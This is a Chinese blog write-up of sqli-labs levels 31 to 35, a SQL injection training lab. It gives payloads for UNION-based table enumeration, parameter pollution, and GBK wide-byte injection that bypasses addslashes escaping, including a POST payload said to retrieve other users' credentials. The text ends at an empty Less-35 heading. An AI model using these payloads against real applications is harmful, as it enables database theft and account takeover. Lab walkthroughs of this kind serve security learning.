sqli-labs-Less-31-Less-32

发布时间 2023-03-28 20:40:00作者: Bin_Go
  • Less-31

详细步骤查看上一篇文章Less-29
这一关闭合为") ?id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- - 也可以是 ?id=1&id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
  • Less-32

输入1'后发现'被转义了,使得单引号不起作用
回显:Hint: The Query String you input is escaped as : 1\'
查看源码后发现数据库采用了使用了gbk编码,这里采用宽字节注入,即当某字
符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其
字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
输入?id=-1%E0%27报错,闭合为单引号
MySQL server version for the right syntax to use near ''-1�\'' LIMIT 0,1' at line 1
?id=-1%E0%27 union select 1,database(),3 -- -
  • Less-33

与32题一样
宽字节注入
?id=-1%E0%27 union select 1,database(),3 -- -
  • Less-34

    这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤
了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃
掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode.
    通过宽字节注入可以绕过addslashes()的过滤,确定了单引号闭合且无其他
过滤,剩下的同 POST 最基本注入。
uname=1%bb' or 1 limit 1,1-- -&passwd=1,其中更改limit参数可实现水平越权,获得其他用户账号密码,前几题也可这样。
    但是在火狐浏览器插件中无法注入成功,打开bp后发现%被urlencode了,多了一个25,又产生一次变异,所以无法成功
uname=1%25bb'or 1 limit 1,1-- -&passwd=1&submit=Submit
后面使用联合注入即可
  • Less-35